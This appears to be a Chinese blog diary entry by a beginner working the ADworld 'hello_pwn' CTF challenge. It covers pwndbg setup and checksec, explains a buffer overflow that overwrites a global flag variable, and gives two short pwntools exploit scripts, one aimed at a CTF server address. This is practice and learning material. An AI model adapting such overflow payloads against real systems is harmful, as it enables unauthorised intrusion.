pwn 做题记录 2.8 adworld hello_pwn

2022 2.8

今天其实没有起的很早,中午去玩3d打印机又花了很多时间,但是还是有一点点进展。
首先解决了pwndbg的问题,其实别的blog本来说的就很清楚,找到gdbinit这个文件之后自己编辑就行了,但是之前操作的时候没有按照vim的规矩去做,导致文件没有编辑好,打好基础实在很重要/笑哭.jpg,之后肯定还要返工一下linux。
这个文本记录的就是路径,写进去就行了,如果能做个脚本就更好了
这个文本记录的就是路径,写进去就行了,:wq什么的命令不要忘记,如果能做个脚本就更好了,这应该也是linux的优点之一。

搞出来挺激动的/笑哭.jpg
搞出来挺激动的,菜鸟的快乐/笑哭.jpg

看到一个exp解释的很详细的大佬的博客,但是难度有点高,马住以后再看
ADworld Noleak的题解
他的pwn题解集

关键是exp解释的详细,要是hgame的wp也这么写,估菜鸟们早就上岸了。

晚上杂七杂八看了很多,没什么大的收获,就去看hello_pwn的题解,这道题昨天看了自己没有想法,但是一看wp发现其实比level_0还要简单。
找到的最详细的题解
不管作者是不是谦虚,还是菜鸡懂菜鸡。

在这里插入图片描述
不过这个博主没有进行checksec(实话说要不是别的博主有这么做我自己也没想到,这不是个好习惯,checksec装了总是要用的嘛)可以看到NX是打开的,也就是不允许直接运行shell,关于几个保护方式,也找到了一篇很详细的blog马住可以慢慢研究
在这里插入图片描述


这道题的溢出目标就是从unk_601068到dword_60106C,覆盖四个字节然后把后者的值改变成目标条件就行了,而dword_60106C可以直接执行cat flag,应该是相当于不用运行bin/sh,NX保护被当作了摆设。这个想法最好求证一下,如果有人愿意回答菜鸡的话/笑哭.jpg

最后的exp也不难懂,下次最好自己写(今晚就再开一题),不过还是有一点收获

from pwn import *

p = remote('111.200.241.244',57832)
payload = 'a'*4 + p64(1853186401).decode("iso-8859-1")
p.recvuntil("bof")
p.sendline(payload)
p.interactive()

from pwn import *

#p=remote('',)
payload = bytes('a'*4, encoding = 'utf8') + p64(1853186401)
p.recvuntil("bof")
p.sendline(payload)
p.interactive()

为了解决python3的字符问题,其实可以有两种转码方式,上面是那位博主的原exp,下面是自己写的准备试试,至于为什么要等,那就是该死的adworld动态环境又出问题了,上回等了两天,这次不知道要整多久。

昨天的后两个问题今天都解决了,那个print确实是多此一举,问问题没有遭到显性的嫌弃。所以明天要看的大概有这么几个问题:

*一,栈的结构,昨天的第一个问题。

二,要把ctfwiki上面rop的部分看完,就算是签到题也绕不开rop了,好像是个解决NX防护的方法,总之明天一定要看完,至少是ctfwiki上的内容。

三,接着做题呗。*

早睡早起

PS:这回好的挺快,不知道是不是我自己的问题,最后运行脚本成功拿到flag,值得一提的是这次是直接出现flag,并没有取得靶机的控制权。
level_2上次买了个wp,做了没分了,加上也是rop的知识点,明天把level_2和guess_num一起干掉

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

费列罗大帝

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值